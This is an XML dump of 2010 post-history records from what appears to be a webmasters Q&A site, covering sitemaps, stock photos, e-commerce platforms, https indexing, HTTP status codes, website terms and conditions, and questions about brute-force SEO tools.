  <row Id="7928" PostHistoryTypeId="5" PostId="4022" RevisionGUID="6dbda922-8803-4716-a4a1-dd0ae76753b3" CreationDate="2010-10-18T20:46:12.013" UserId="1253" Comment="added 3 characters in body" Text="Multiple sitemaps are perfectly fine. [There's a special way to tell the search engines you have them.][1] &#xD;&#xA;&#xD;&#xA;    &lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;&#xD;&#xA;    &lt;sitemapindex xmlns=&quot;http://www.sitemaps.org/schemas/sitemap/0.9&quot;&gt;&#xD;&#xA;       &lt;sitemap&gt;&#xD;&#xA;          &lt;loc&gt;http://www.example.com/sitemap1.xml.gz&lt;/loc&gt;&#xD;&#xA;          &lt;lastmod&gt;2004-10-01T18:23:17+00:00&lt;/lastmod&gt;&#xD;&#xA;       &lt;/sitemap&gt;&#xD;&#xA;       &lt;sitemap&gt;&#xD;&#xA;          &lt;loc&gt;http://www.example.com/sitemap2.xml.gz&lt;/loc&gt;&#xD;&#xA;          &lt;lastmod&gt;2005-01-01&lt;/lastmod&gt;&#xD;&#xA;       &lt;/sitemap&gt;&#xD;&#xA;    &lt;/sitemapindex&gt;&#xD;&#xA;&#xD;&#xA;Just make sure you follow that specification and you're all set.&#xD;&#xA;  [1]: http://www.sitemaps.org/protocol.php#index" />
  <row Id="7929" PostHistoryTypeId="2" PostId="4023" RevisionGUID="195ff88a-e5ff-4ede-9c33-5d3b6bb187e8" CreationDate="2010-10-18T21:40:16.163" UserId="2465" Text="From bouncing around a few mailing lists and playing around I have found out that sometimes a view preview will not work with just the default display. If you notice it not working, try adding a new display. Another thing I tried was to just adding and removing comment fields and it magically began working.&#xD;&#xA;&#xD;&#xA;In the future I will and I suggest to anyone that has a similar problem:&#xD;&#xA;&#xD;&#xA;1. Add a new display, see if that resolves it, If it does not:&#xD;&#xA;2. Recreate the view with just one filter and one field, get that to work and add complexity until you find where it breaks." />
  <row Id="7930" PostHistoryTypeId="2" PostId="4024" RevisionGUID="7fa2904c-dc37-4983-8b04-50886b16a77b" CreationDate="2010-10-18T23:00:39.763" UserId="1703" Text="I would take a look at these options:&#xD;&#xA;&#xD;&#xA; - [Prestashop][1]&#xD;&#xA; - [OpenCart][2]&#xD;&#xA; - [osCommerce][3]&#xD;&#xA; - Joomla with [Virtuemart][4] component installed&#xD;&#xA;&#xD;&#xA;In any case all 4 solutions will have to be modified to your client's needs. The solution you choose can also be influenced by which payment gateways they support e.g. XML direct invisible method. There is a great community around these open source shopping carts and you may find all the solutions already developed if you are willing to pay.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.prestashop.com/&#xD;&#xA;  [2]: http://www.opencart.com/&#xD;&#xA;  [3]: http://www.oscommerce.com/&#xD;&#xA;  [4]: http://virtuemart.net/" />
  <row Id="7931" PostHistoryTypeId="11" PostId="1957" RevisionGUID="1daebafc-1bc6-4613-9fca-028114e3172a" CreationDate="2010-10-19T00:26:56.927" UserId="138" Text="[{&quot;Id&quot;:138,&quot;DisplayName&quot;:&quot;Farseeker&quot;}]" />
  <row Id="7932" PostHistoryTypeId="2" PostId="4025" RevisionGUID="583f08fd-9ba2-418b-8eca-2d1b4e64fc0e" CreationDate="2010-10-19T00:41:22.137" UserId="2288" Text="Need photos for a website and the client has zero cash, What are sources of free stock photos? And how do I understand what &quot;free&quot; means to to the stock photo site?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7933" PostHistoryTypeId="1" PostId="4025" RevisionGUID="583f08fd-9ba2-418b-8eca-2d1b4e64fc0e" CreationDate="2010-10-19T00:41:22.137" UserId="2288" Text="What are sources of free stock photos? And how do I understand what &quot;free&quot; means to them?" />
  <row Id="7934" PostHistoryTypeId="3" PostId="4025" RevisionGUID="583f08fd-9ba2-418b-8eca-2d1b4e64fc0e" CreationDate="2010-10-19T00:41:22.137" UserId="2288" Text="&lt;graphics&gt;&lt;resources&gt;" />
  <row Id="7935" PostHistoryTypeId="2" PostId="4026" RevisionGUID="133ae2b3-4335-4212-9409-a85e4ca2893f" CreationDate="2010-10-19T01:30:35.183" UserId="745" Text="[Stock.XCHNG][1] is the best free stock photo site I've found. You'll have to read the license for each photo to make sure you can use for commercial purposes and if you need attribution, but I've generally found that I can use most of the photos on the site.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.sxc.hu/" />
  <row Id="7936" PostHistoryTypeId="2" PostId="4027" RevisionGUID="b21bb7e8-bfcc-4136-807a-6733ed272567" CreationDate="2010-10-19T03:28:43.830" UserId="1253" Text="Search engine optimization (SEO) is the process of improving the visibility of a web site or a web page in search engines via the &quot;natural&quot; or un-paid (&quot;organic&quot; or &quot;algorithmic&quot;) search results." />
  <row Id="7937" PostHistoryTypeId="2" PostId="4028" RevisionGUID="7a2e3548-e030-4e75-b873-57483cd5509e" CreationDate="2010-10-19T03:28:43.830" UserId="1253" Text="Search engine optimization (SEO) is the process of improving the visibility of a web site or a web page in search engines via the &quot;natural&quot; or un-paid (&quot;organic&quot; or &quot;algorithmic&quot;) search results." />
  <row Id="7938" PostHistoryTypeId="5" PostId="4027" RevisionGUID="ec13778b-b94a-42ac-8575-f3eb11ee24d0" CreationDate="2010-10-19T03:54:25.070" UserId="1253" Comment="added 206 characters in body" Text="SEO is typically broken up into two categories: Black Hat and White Hat. Blank Hat typically refers to techniques and methods that intentionally violate the search engine's terms of service for the explicit purpose of manipulating the search rankings. White Hat refers to techniques and methods that assist the search engines in comprehending the nature of a web page's content that aren't prohibited." />
  <row Id="7939" PostHistoryTypeId="2" PostId="4029" RevisionGUID="6f242207-2be6-4885-9709-c8d295280a98" CreationDate="2010-10-19T06:28:13.507" UserId="1079" Text="[search.creativecommons.org][1] combines image search results from multiple engines using each engine's licensing filter to only return images that are licensed for commercial use under a [Creative Commons][2] license.&#xD;&#xA;&#xD;&#xA;The standard disclaimer about checking the license of each image you plan to use should apply to any answer given here.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://search.creativecommons.org&#xD;&#xA;  [2]: http://creativecommons.org/about/what-is-cc" />
  <row Id="7943" PostHistoryTypeId="2" PostId="4031" RevisionGUID="e2cb81eb-16ae-4334-87a3-9c8ad29cfa1d" CreationDate="2010-10-19T06:50:28.997" UserDisplayName="Bart van Bragt" Text="You can use a placeholder, call the Adsense code and then switch the placeholder with the ad. I'm using something like this on my site:&#xD;&#xA;&#xD;&#xA;    &#xD;&#xA; 	if ( ad1 = document.getElementById('ad-top') )&#xD;&#xA; 	{&#xD;&#xA; 		ad2 = document.getElementById('banner_tmp468');&#xD;&#xA; 		ad1.appendChild(ad2);&#xD;&#xA; 		ad2.style.display = 'block';&#xD;&#xA; 	}&#xD;&#xA;    	&#xD;&#xA;&#xD;&#xA;Google even recommends doing this when they say that you should have your most important ad position first in your HTML code. If you want to accomplish that you'll have to use JS or CSS to move less important ad units to the (visual) top of your page." />
  <row Id="7944" PostHistoryTypeId="5" PostId="4031" RevisionGUID="fdbfb426-47bf-4406-916e-cc27b188cad0" CreationDate="2010-10-19T07:42:17.950" UserDisplayName="Bart van Bragt" Comment="added 145 characters in body" Text="You can use a placeholder, call the Adsense code and then switch the placeholder with the ad. I'm using something like this on my site:&#xD;&#xA;&#xD;&#xA;    &#xD;&#xA; 	if ( ad1 = document.getElementById('ad-top') )&#xD;&#xA; 	{&#xD;&#xA; 		ad2 = document.getElementById('banner_tmp468');&#xD;&#xA; 		ad1.appendChild(ad2);&#xD;&#xA; 		ad2.style.display = 'block';&#xD;&#xA; 	}&#xD;&#xA;    	&#xD;&#xA;&#xD;&#xA;Google even recommends doing this when they say that you should have your most important ad position first in your HTML code. If you want to accomplish that you'll have to use JS or CSS to move less important ad units to the (visual) top of your page.&#xD;&#xA;&#xD;&#xA;But as far as I know AdSense already renders ads asynchronously. I've only very rarely seen it block pageloading. Not sure about this though." />
  <row Id="7945" PostHistoryTypeId="2" PostId="4032" RevisionGUID="a2977895-4523-44cb-aaa0-f16ff3c1ea6b" CreationDate="2010-10-19T09:49:25.743" UserId="233" Text="The link you posted appears to be fairly inaccurate as pointed out [here][1] among other places (Drupal is over-counted). Plus it ignores Wordpress which is perfectly usable as a CMS.&#xD;&#xA;&#xD;&#xA;Although unscientific, I think the best place is Google Trends since it clearly shows which CMS have the most buzz around them. [Trends for Wordpress, Joomla, Drupal and Expression Engine][2] shows roughly this:&#xD;&#xA;&#xD;&#xA;* Worldwide: 50% Wordpress, 36% Joomla, 12% Drupal, 2% EE.&#xD;&#xA;* United States: 61% Wordpress, 21% Joomla, 15% Drupal, 3% EE.&#xD;&#xA;&#xD;&#xA;However all four of those systems are well-supported so I wouldn't use any figures like these to decide on a CMS - choose whichever one best meets your needs.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.alltogetherasawhole.org/profiles/blogs/cms-usage-statistics-drupal&#xD;&#xA;  [2]: http://www.google.com/trends?q=wordpress,+joomla,+drupal,+expression+engine&amp;ctab=0&amp;geo=us&amp;geor=all&amp;date=all&amp;sort=0" />
  <row Id="7946" PostHistoryTypeId="2" PostId="4034" RevisionGUID="18b3a21e-72dd-4ca2-b61b-8103570579d1" CreationDate="2010-10-19T09:44:22.367" UserId="2225" Text="Mu understanding (from a similar issue I saw last year) is that if Google detects the same content available on the same domain over SSL secured https as http, they will prefer the SSL version in their index. I have not seen a preference to set to override this.&#xD;&#xA;&#xD;&#xA;The best solution for you is to get https turned OFF for your domain. If you don't have a certificate this is the best way to handle it anyway. Once the https protocol is shut off, google should correctly link the pages with the http protocol in their index." />
  <row Id="7947" PostHistoryTypeId="2" PostId="4033" RevisionGUID="bd5fb967-07a0-458a-8d8f-2322fd9904f3" CreationDate="2010-10-19T08:44:53.387" UserDisplayName="MSGDesign" Text="Over the last month, the home page of my website hosted on Media Temple's grid server and has been appearing in google listings as an https website.  I have never requested or needed the extra security of ssl and as such have not purchased a secure certificate.  I have submitted a xml google site map for the site and added a .htaccess redirect to the correct http file.  I am at a loss as to why this is happening.  &#xD;&#xA;Any advice would be much appreciated." />
  <row Id="7948" PostHistoryTypeId="1" PostId="4033" RevisionGUID="bd5fb967-07a0-458a-8d8f-2322fd9904f3" CreationDate="2010-10-19T08:44:53.387" UserDisplayName="MSGDesign" Text="Google indexes my site as https as opposed to the correct http" />
  <row Id="7949" PostHistoryTypeId="3" PostId="4033" RevisionGUID="bd5fb967-07a0-458a-8d8f-2322fd9904f3" CreationDate="2010-10-19T08:44:53.387" UserDisplayName="MSGDesign" Text="&lt;server&gt;&lt;ssl&gt;&lt;https&gt;&lt;mediatemple&gt;&lt;grid&gt;" />
  <row Id="7950" PostHistoryTypeId="17" PostId="4033" RevisionGUID="88ad5e41-6fb8-4c26-a8ce-79f09a89b4ec" CreationDate="2010-10-19T10:14:38.123" UserId="-1" Comment="from http://serverfault.com/questions/192396/google-indexes-my-site-as-https-as-opposed-to-the-correct-http" Text="" />
  <row Id="7951" PostHistoryTypeId="2" PostId="4035" RevisionGUID="69d8e7f4-fc2c-4421-8ea9-a76fddd82193" CreationDate="2010-10-19T10:37:35.817" UserId="2276" Text="i'm preety new to SEO, so please bare with me if the question seems dumb..&#xD;&#xA;I have a webshop, for which I made a sitemap and sent it to google to index.. now, when I am logged in to my google account and type the domain name into google (without the &quot;www.&quot; and &quot;.hr&quot;), google puts that site first.. OK... when I log out, and do the SAME search, the site is 5th or 6th... how is this possible??&#xD;&#xA;also, site appears on google (i sent it like 3 days ago), but in my webmaster google account it says that 0 pages are indexed... so, just putting site ON google and indexing it is not the same thing?&lt;br&gt;&#xD;&#xA;I can provide site domain name so you can see for yourself if it's needed...&lt;br&gt;&#xD;&#xA;I have one more site with the same (strange) issues...&lt;br&gt;&#xD;&#xA;thanks for the anwsers!!!&lt;br&gt;&#xD;&#xA;Andrej" />
  <row Id="7952" PostHistoryTypeId="1" PostId="4035" RevisionGUID="69d8e7f4-fc2c-4421-8ea9-a76fddd82193" CreationDate="2010-10-19T10:37:35.817" UserId="2276" Text="google search differences" />
  <row Id="7953" PostHistoryTypeId="3" PostId="4035" RevisionGUID="69d8e7f4-fc2c-4421-8ea9-a76fddd82193" CreationDate="2010-10-19T10:37:35.817" UserId="2276" Text="&lt;seo&gt;&lt;google&gt;" />
  <row Id="7954" PostHistoryTypeId="2" PostId="4036" RevisionGUID="edeb4d9a-fe30-4e39-b262-c9d8e0c636cf" CreationDate="2010-10-19T10:57:09.490" UserId="1757" Text="Magento is the defacto open source ecommerce solution right now, and it's used by a lot of large sites. Aside from being one of the most robust e-commerce solutions on the market, its modular design (built on ZF) and plugin system (and large library of free and commercial plugins) means that you can do almost anything with it.&#xD;&#xA;&#xD;&#xA;I'm not sure what is needed to handle odd-shaped products, but if the integrated shipping calculator can't handle it by default, you can always write a plugin (or hire a developer to write one) that can fix that.&#xD;&#xA;&#xD;&#xA;The only problem with Magento is that, because it's such a robust application, it takes some time to learn the ins and outs of customizing and programming for it. The lack of decent documentation is also a major drawback, and the support forums are mostly filled with clueless webmasters looking for help or commercial developers just there to advertise their services.&#xD;&#xA;&#xD;&#xA;But for most businesses, Magento is more than capable of meeting their needs without customization. And there are also plugins for most commonly sought features not included in the community version." />
  <row Id="7955" PostHistoryTypeId="5" PostId="4036" RevisionGUID="fed88025-2fed-4844-a108-21d1886c85b1" CreationDate="2010-10-19T11:02:14.977" UserId="1757" Comment="expand" Text="Magento is the defacto open source ecommerce solution right now, and it's used by a lot of large sites. Aside from being one of the most robust e-commerce solutions on the market, its modular design (built on ZF) and plugin system (and large library of free and commercial plugins) means that you can do almost anything with it.&#xD;&#xA;&#xD;&#xA;I'm not sure what is needed to handle odd-shaped products, but if the integrated shipping calculator can't handle it by default, you can always write a plugin (or hire a developer to write one) that can fix that.&#xD;&#xA;&#xD;&#xA;The only problem with Magento is that, because it's such a robust application, it takes some time to learn the ins and outs of customizing and programming for it. The lack of decent documentation is also a major drawback, and the support forums are mostly filled with clueless webmasters looking for help or commercial developers just there to advertise their services.&#xD;&#xA;&#xD;&#xA;But for most businesses, Magento is more than capable of meeting their needs without customization. And there are also plugins for most commonly sought features not included in the community version.&#xD;&#xA;&#xD;&#xA;Oh, and I would recommend using separate solutions for e-commerce and for content management. Specialized software is always going to be better and more robust than a CMS plugin or an application that tries to fill 2 completely unrelated needs. There's really no advantage to combining your store and general content. If you want to integrate your store with your site, you can easily do that with Magento's SOAP API." />
  <row Id="7956" PostHistoryTypeId="2" PostId="4037" RevisionGUID="494390a6-0197-4807-b730-47e3b22a9b16" CreationDate="2010-10-19T11:33:10.587" UserId="1647" Text="The explanation is pretty simple. When you are logged in, Google sorts the results according to your search habits and your [search history][1].&#xD;&#xA;For this reason, the results you browse/click the most are likely to be moved at the top of the SERP when you are logged in.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/history" />
  <row Id="7957" PostHistoryTypeId="2" PostId="4038" RevisionGUID="a52af8cf-096d-4f61-8757-d7aea5427c2a" CreationDate="2010-10-19T11:43:57.390" UserId="468" Text="What HTTP response should you send when an item/category on your ecommerce site has been disabled or deleted? 410 looks correct for deleted products but not sure about something that has been disabled temporarily" />
  <row Id="7958" PostHistoryTypeId="1" PostId="4038" RevisionGUID="a52af8cf-096d-4f61-8757-d7aea5427c2a" CreationDate="2010-10-19T11:43:57.390" UserId="468" Text="HTTP response for deleted or disabled items on ecommerce store" />
  <row Id="7959" PostHistoryTypeId="3" PostId="4038" RevisionGUID="a52af8cf-096d-4f61-8757-d7aea5427c2a" CreationDate="2010-10-19T11:43:57.390" UserId="468" Text="&lt;seo&gt;&lt;google&gt;&lt;search-engines&gt;&lt;http&gt;&lt;http-headers&gt;" />
  <row Id="7960" PostHistoryTypeId="2" PostId="4039" RevisionGUID="f7f8e53e-f67a-4475-a258-6879a64edf3c" CreationDate="2010-10-19T11:51:02.080" UserId="1253" Text="[Google customizes search results based on your search history][1]. So similar but different different search results will be shown for different users based on their search history. If you want to see what the general public sees when they search be sure to log out of your Google account when searching.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://searchengineland.com/google-now-personalizes-everyones-search-results-31195" />
  <row Id="7961" PostHistoryTypeId="2" PostId="4040" RevisionGUID="30af2244-6f43-41a9-8e47-433d7bf99dc0" CreationDate="2010-10-19T11:52:40.330" UserId="1253" Text="To override this use [canonical URLs][1] to tell Google to use the non https version in their search results.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2009/02/specify-your-canonical.html" />
  <row Id="7962" PostHistoryTypeId="2" PostId="4041" RevisionGUID="c196b442-a182-46a2-af86-41bbe4ce2e67" CreationDate="2010-10-19T11:56:44.237" UserId="1253" Text="Use 410 is it is deleted permanently. Use 307 if it is only disabled and will be back again. That will tell the search engines to keep trying and not to assume the page is gone forever." />
  <row Id="7963" PostHistoryTypeId="2" PostId="4042" RevisionGUID="cc18bf7b-aa4b-4b6f-a09b-05873f682ca7" CreationDate="2010-10-19T12:02:09.837" UserId="2379" Text="My understanding is the server with the FTP actually creates the file.  The same would be the case if you uploaded a file using an upload form on a web page.  A workaround would be to create a java or active x control to upload docs.  This control could read the create date from the files metadata and store it in a db.  Its not an elegant approach, but how most backup services go about it." />
  <row Id="7964" PostHistoryTypeId="2" PostId="4043" RevisionGUID="64d050fc-a0b9-4d3c-a0f6-3df29ab19aa1" CreationDate="2010-10-19T12:03:22.113" UserId="2379" Text="http://www.seomoz.org/" />
  <row Id="7965" PostHistoryTypeId="2" PostId="4044" RevisionGUID="923b130c-207f-4d25-a2f1-1ed4279bf5db" CreationDate="2010-10-19T12:09:29.903" UserId="2379" Text="This is how you would do it in Classic ASP.&#xD;&#xA;Depending on your server you will have a scripting language that lets you talk to a database and then create a web page or a redirect.&#xD;&#xA;&#xD;&#xA;In classic asp you would.&#xD;&#xA;1. Get all your data from your DB, and store each item in a variable.&#xD;&#xA;2. Build your url string mystring = &quot;item1=&quot; &amp; varitem1 &amp; &quot;&amp;item2=&quot; varitem2 ....&#xD;&#xA;3. Do a response.redirect to the url with a ? and the url string .&#xD;&#xA;&#xD;&#xA;In essence what you are going to be doing is using a server side scripting language to create your url and then do a redirect.  &#xD;&#xA;&#xD;&#xA;Please let me know what your language is so that the forum can help you with a better sample&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7967" PostHistoryTypeId="2" PostId="4046" RevisionGUID="432d32d6-3773-4b2d-b6a8-1f131d6b1676" CreationDate="2010-10-19T12:59:55.967" UserId="1039" Text="What are factors you need to consider when writing terms and conditions or acceptable use policies for a web site/web application.&#xD;&#xA;&#xD;&#xA;A few questions spring into my mind:&#xD;&#xA;&#xD;&#xA; - Are there any legal requirements to&#xD;&#xA;   post T&amp;C's on a site?&#xD;&#xA; - Do they really offer legal protection&#xD;&#xA;   to both the site owner and end users?&#xD;&#xA; - Are there a standard list of T&amp;C's somewhere that can be reused?" />
  <row Id="7968" PostHistoryTypeId="1" PostId="4046" RevisionGUID="432d32d6-3773-4b2d-b6a8-1f131d6b1676" CreationDate="2010-10-19T12:59:55.967" UserId="1039" Text="Writing terms and conditions for a new website" />
  <row Id="7969" PostHistoryTypeId="3" PostId="4046" RevisionGUID="432d32d6-3773-4b2d-b6a8-1f131d6b1676" CreationDate="2010-10-19T12:59:55.967" UserId="1039" Text="&lt;legal&gt;" />
  <row Id="7970" PostHistoryTypeId="2" PostId="4047" RevisionGUID="5f37d21a-4aa2-4cd7-8dbf-7bdd0dd176bd" CreationDate="2010-10-19T13:09:57.960" UserId="2546" Text="I'm trying to build a New Joomla Site , which would be the Main Site and Users Registering to the site will be able to create their own Sub-sites. For. e.g. if main site is www.xyz.com then sub-sites would be usersname.xyz.com.&#xD;&#xA;&#xD;&#xA;The steps in the Main Site that will help users to create thier own site are :-&#xD;&#xA;1. Select user Registers&#xD;&#xA;2. Select the Template from the list available , he can even customize or upload his own joomla template.&#xD;&#xA;3. select the features that users can add to his site like blog, shopping site, Photo gallery , Music Gallery , Forums, etc.&#xD;&#xA;4. Adds the url name of his choice for his sub -site.&#xD;&#xA;5. Publish.&#xD;&#xA;&#xD;&#xA;Can Some one help me on how this site can be build ?,&#xD;&#xA;whether its pure customization or just having installed few components can do the job ?,&#xD;&#xA;what about server space requirement ?&#xD;&#xA;Can we build wizard like structure using any component for steps for the easy user interaction ?&#xD;&#xA;&#xD;&#xA;Pls reply advice, suggestion will be rally appreciated.&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;Mukesh" />
  <row Id="7971" PostHistoryTypeId="1" PostId="4047" RevisionGUID="5f37d21a-4aa2-4cd7-8dbf-7bdd0dd176bd" CreationDate="2010-10-19T13:09:57.960" UserId="2546" Text="Joomla Subsite Builder" />
  <row Id="7972" PostHistoryTypeId="3" PostId="4047" RevisionGUID="5f37d21a-4aa2-4cd7-8dbf-7bdd0dd176bd" CreationDate="2010-10-19T13:09:57.960" UserId="2546" Text="&lt;domains&gt;&lt;cms&gt;&lt;joomla&gt;" />
  <row Id="7973" PostHistoryTypeId="2" PostId="4048" RevisionGUID="34b66957-b9b3-4d84-94c0-9784899d330a" CreationDate="2010-10-19T13:15:53.063" UserId="1300" Text="The legal standpoint differs depends on where your website is hosted and where you are offering your service, and also on what service you are offering. And to that end, it is better that you seek proper legal advice from a local source.&#xD;&#xA;&#xD;&#xA;Do you have some specific concerns regarding your site(s)?&#xD;&#xA;&#xD;&#xA;In most jurisdictions, there will be a whole host of common law or legislation that will take precedence over anything you put in your T&amp;Cs. &#xD;&#xA;&#xD;&#xA;Rarely will T&amp;Cs offer you full protection, but they can help complement your local laws.&#xD;&#xA;&#xD;&#xA;In the UK, for example, there are some default provisions under the Distance Selling Regulations (2000) which offer customers greater protection than you are obliged to offer. E.g. if you sell a product to a consumer, the buyer has 7 days to change their minds and ask to return their purchase. By default, the seller is obliged to pay for the 'restoration' of these good, but the T&amp;Cs can specifically over-ride this default clause, and place the onus (i.e. expense) of returning the goods to the seller.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7974" PostHistoryTypeId="5" PostId="4025" RevisionGUID="a7052397-ba43-4cee-a04a-5484f76843d5" CreationDate="2010-10-19T13:19:10.157" UserId="2288" Comment="added 504 characters in body; edited title" Text="Need photos for a website and the client has zero cash, What are sources of free stock photos? And how do I understand what &quot;free&quot; means to to the stock photo site?&#xD;&#xA;&#xD;&#xA;**UPDATE:** Changed the title from &quot;free&quot; to &quot;cheap&quot;. I need an easy to use source of photos, meaning I they OWN the rights to the photos, and the terms of use are clear and enforceable.&#xD;&#xA;&#xD;&#xA;**IMPORTANT:** SXC.hu DOES NOT own the rights to any of the photos in their index. You must get the media owner to sign a &quot;new&quot; contract just with you. That's a lot of overhead, and the only mean SXC.hu gives you to contact the owner is a web-form that has no addtional info on the owner than their username.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7975" PostHistoryTypeId="4" PostId="4025" RevisionGUID="a7052397-ba43-4cee-a04a-5484f76843d5" CreationDate="2010-10-19T13:19:10.157" UserId="2288" Comment="added 504 characters in body; edited title" Text="What are sources of CHEAP (not free) stock photos? " />
  <row Id="7979" PostHistoryTypeId="5" PostId="4048" RevisionGUID="1982a9a1-c3a7-4e35-8d55-cec01b370acf" CreationDate="2010-10-19T13:23:17.913" UserId="1300" Comment="added 22 characters in body; added 347 characters in body" Text="The legal standpoint differs depends on where your website is hosted and where you are offering your service, and also on what service you are offering. And to that end, it is better that you seek proper legal advice from a local source.&#xD;&#xA;&#xD;&#xA;Do you have some specific concerns regarding your site(s)?&#xD;&#xA;&#xD;&#xA;In most jurisdictions, there will be a whole host of common law or legislation that will take precedence over anything you put in your T&amp;Cs. &#xD;&#xA;&#xD;&#xA;Rarely will T&amp;Cs offer you full protection, but they can help complement your local laws.&#xD;&#xA;&#xD;&#xA;In the UK, for example, there are some default provisions under the Distance Selling Regulations (2000) which offer customers greater protection than you are obliged to offer. E.g. if you sell a product to a consumer, the buyer has 7 days to change their minds and ask to return their purchase. By default, the seller is obliged to pay for the 'restoration' of these good, but the T&amp;Cs can specifically over-ride this default clause, and place the onus (i.e. expense) of returning the goods (back to the seller) onto the buyer.&#xD;&#xA;&#xD;&#xA;EDIT: In the UK, there is a requirement under the Companies Act 2006 for a commercial website to clearly list the address and company registration number for a site selling products or services in the UK, or whose owner operates in the UK. Not specifically a T&amp;C issue, but a demonstration that certain jurisdictions do impose requirements on you.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="7980" PostHistoryTypeId="2" PostId="4049" RevisionGUID="eb532170-91de-4827-8075-7fda4d6c4c81" CreationDate="2010-10-19T13:24:10.053" UserId="2276" Text="can brute force seo tools like senuke help in rankings or somehow get you penalized by the search engines?&#xD;&#xA;can search engines even &quot;see&quot; that anonter tool has been used to do the SEO?&#xD;&#xA;is for eg. senuke worth the money?&#xD;&#xA;&#xD;&#xA;thanks for the replys!" />
  <row Id="7981" PostHistoryTypeId="1" PostId="4049" RevisionGUID="eb532170-91de-4827-8075-7fda4d6c4c81" CreationDate="2010-10-19T13:24:10.053" UserId="2276" Text="brute force seo software" />
  <row Id="7982" PostHistoryTypeId="3" PostId="4049" RevisionGUID="eb532170-91de-4827-8075-7fda4d6c4c81" CreationDate="2010-10-19T13:24:10.053" UserId="2276" Text="&lt;seo&gt;" />
  <row Id="7983" PostHistoryTypeId="2" PostId="4050" RevisionGUID="28606fdc-bcd5-4143-96b6-f482024b6c56" CreationDate="2010-10-19T13:36:29.923" UserId="2284" Text="I would like to know, from your experience, if having a link on Wikipedia could generate some traffic to the pointed site.&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;The WP page of [sausages][1] points at the end to the page to :&#xD;&#xA;&#xD;&#xA;http://www.argentina.ar/_en/country/C161-the-gastronomy-in-the-world.php&#xD;&#xA;&#xD;&#xA;Do you think that site is getting some major traffic from Wikipedia?&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Sausage" />
  <row Id="7984" PostHistoryTypeId="1" PostId="4050" RevisionGUID="28606fdc-bcd5-4143-96b6-f482024b6c56" CreationDate="2010-10-19T13:36:29.923" UserId="2284" Text="Is Wikipedia a good source of traffic?" />
  <row Id="7985" PostHistoryTypeId="3" PostId="4050" RevisionGUID="28606fdc-bcd5-4143-96b6-f482024b6c56" CreationDate="2010-10-19T13:36:29.923" UserId="2284" Text="&lt;traffic&gt;" />
  <row Id="7986" PostHistoryTypeId="6" PostId="4035" RevisionGUID="9307b99a-d438-4bc5-b094-f52b2c6370a5" CreationDate="2010-10-19T13:38:27.783" UserId="1647" Comment="edited tags" Text="&lt;seo&gt;&lt;google&gt;&lt;serps&gt;" />
  <row Id="7987" PostHistoryTypeId="2" PostId="4051" RevisionGUID="0b0e1a93-3dcd-4b02-9f82-5d51f26c9be1" CreationDate="2010-10-19T13:50:55.713" UserId="89" Text="Yes, it can help and yes, it can get you penalized.&#xD;&#xA;&#xD;&#xA;Those tools create lots of links to your site from &quot;good&quot; social media sites, links from good sites increase site ranking =&gt; Those tools can increase ranking.&#xD;&#xA;&#xD;&#xA;Now, about the penalizing thing&#xD;&#xA;&#xD;&#xA;* I think Google already suspects sites with a sudden increase in links and does something about it (I have no idea what).&#xD;&#xA;&#xD;&#xA;* If brute force tools become a problem for Google (that is, degrade the search results too much) Google will crack down on those tools and I can't believe Google won't be able to find patterns in the tool's automatic generated content.&#xD;&#xA;&#xD;&#xA;So, any such tool (I don't know anything about senuke specifically) is probably worth the money, until you get caught and get penalized.&#xD;&#xA;" />
  <row Id="7988" PostHistoryTypeId="2" PostId="4052" RevisionGUID="41fc437b-d683-43f2-ab6e-12f797dc0de1" CreationDate="2010-10-19T13:53:21.713" UserId="1253" Text="**NO.** They do not help you. SEO cannot be brute forced. If you're looking for quick and easy then SEO is not for you.&#xD;&#xA;&#xD;&#xA;Tools like that do you no good and can only potentially do you harm. Search engines can't tell if an SEO tool was used unless that tool leaves a signature behind like a meta tag or common snippet of code. But the techniques used in brute force SEO are usually black hat which is a recipe for penalties or bans. That's the *exact opposite* of your goals and is *not* worth the risk.&#xD;&#xA;&#xD;&#xA;Any links you get from them will be low quality and nothing you can't do yourself. &#xD;&#xA;&#xD;&#xA;Be patient. Write good content. Build your website so it is usable and accessible. Use semantic markup. Then market it. If your site is any good over time you will climb in the rankings." />
  <row Id="7989" PostHistoryTypeId="2" PostId="4053" RevisionGUID="a4b87f86-f4b9-45f5-8067-06db50411365" CreationDate="2010-10-19T13:55:56.643" UserId="1757" Text="These &quot;brute force seo software&quot; you speak of are just tools for spammers. There is no surefire way to get good search ranking other than by providing good, useful content, and you still don't get top search ranking overnight. Using content spinners and tools to &#xD;&#xA;&#xD;&#xA;Just look at the type of sites that advertise these tools--they're spammy, poorly designed, with poorly written web copy, and generally have poor search engine ranking themselves.&#xD;&#xA;&#xD;&#xA;If you're even considering using them, then good luck... Even if you manage to improve your ranking in the short-term, you're going to have a hard time retaining that position. And the more aggressively you spam your site, the quicker you'll be identified as a spammer and penalized or even dropped from the index. Furthermore, your online reputation will be permanently ruined by engaging in sleazy SEO practices." />
  <row Id="7990" PostHistoryTypeId="2" PostId="4054" RevisionGUID="bb9455b0-fbd9-4bee-bf88-019dc299b9c0" CreationDate="2010-10-19T13:57:05.903" UserId="1279" Text="Maybe, depends on your definition of &quot;major traffic&quot;.&#xD;&#xA;&#xD;&#xA;Please don't spam Wikipedia, please don't impact the quality of the pages." />
